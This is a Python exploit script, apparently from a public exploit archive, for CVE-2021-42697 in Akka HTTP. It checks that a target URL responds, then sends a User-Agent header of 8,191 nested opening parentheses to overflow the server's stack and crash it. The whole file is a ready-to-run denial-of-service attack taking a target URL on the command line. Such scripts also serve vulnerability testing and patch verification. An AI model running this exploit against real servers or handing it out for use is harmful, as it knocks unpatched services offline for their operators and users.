be24992411
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57 lines
No EOL
2.4 KiB
Python
Executable file
57 lines
No EOL
2.4 KiB
Python
Executable file
# Exploit Title: Akka HTTP Denial of Service via Nested Header Comments
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# Date: 18/4/2022
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# Exploit Author: cxosmo
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# Vendor Homepage: https://akka.io
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# Software Link: https://github.com/akka/akka-http
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# Version: Akka HTTP 10.1.x < 10.1.15 & 10.2.x < 10.2.7
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# Tested on: Akka HTTP 10.2.4, Ubuntu
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# CVE : CVE-2021-42697
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import argparse
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import logging
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import requests
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# Logging config
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logging.basicConfig(level=logging.INFO, format="")
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log = logging.getLogger()
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def send_benign_request(url, verify=True):
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log.info(f"Sending benign request to {url} for checking reachability...")
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try:
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r = requests.get(url)
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log.info(f"Benign request returned following status code: {r.status_code}")
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return True
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except Exception as e:
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log.info(f"The following exception was encountered: {e}")
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return False
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def send_malicious_request(url, verify=True):
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log.info(f"Sending malicious request to {url}")
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# Akka has default HTTP header limit of 8192; 8191 sufficient to trigger stack overflow per 10.2.4 testing
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nested_comment_payload = "("*8191
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headers = {'User-Agent': nested_comment_payload}
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try:
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r = requests.get(url, headers=headers)
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log.info(f"Request returned following status code: {r.status_code}")
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# Expected exception to be returned if server is DoSed successfully
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except requests.exceptions.RequestException as e:
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if "Remote end closed connection without response" in str(e):
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log.info(f"The server is unresponsive per {e}: DoS likely successful")
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except Exception as e:
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log.info(f"The following exception was encountered: {e}")
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if __name__ == "__main__":
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# Parse command line
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parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)
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required_arguments = parser.add_argument_group('required arguments')
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required_arguments.add_argument("-t", "--target",
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help="Target URL for vulnerable Akka server (e.g. https://localhost)",
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required="True", action="store")
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parser.add_argument("-k", "--insecure",
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help="Disable verification of SSL/TLS certificate",
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action="store_false", default=True)
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args = parser.parse_args()
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# Send requests: first is connectivity check, second is DoS attempt
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if send_benign_request(args.target, args.insecure):
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send_malicious_request(args.target, args.insecure) |